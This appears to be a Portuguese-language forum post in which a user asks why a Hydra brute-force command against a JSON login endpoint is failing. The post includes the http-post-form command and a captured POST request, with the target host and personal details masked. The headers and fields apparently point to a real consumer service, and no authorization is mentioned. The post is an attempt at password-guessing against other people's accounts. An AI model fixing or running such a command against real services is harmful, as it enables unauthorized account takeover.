Enviar requests xhr pelo hydra

wolverine01
(usa Outra)

Enviado em 31/01/2021 - 19:24h

Galera, preciso de ajuda no seguinte topico, queria saber como faço um brut force em uma requisição xhr com o hydra, estou tentando esse comando mas não esta dando:
#As partes com @ simboliza informações pessoais
comando:

hydra -l @ -P senhas @ http-post-form "/api/v8/auth/login:"login":^USER^,"password":^PASS^,"undelete":false,"captcha_key":null,"login_source":null,"gift_code_sku_id":null:Login ou senha inválidos"

request:

POST /api/v8/auth/login HTTP/1.1
Host: @
Connection: close
Content-Length: 115
X-Super-Properties: @
X-Fingerprint: @
Authorization: undefined
Accept-Language: en-US
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: @
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: @
Accept-Encoding: gzip, deflate
Cookie: @
{"login":"abcde","password":"1234","undelete":false,"captcha_key":null,"login_source":null,"gift_code_sku_id":null}

Oque há de errado com o comando ?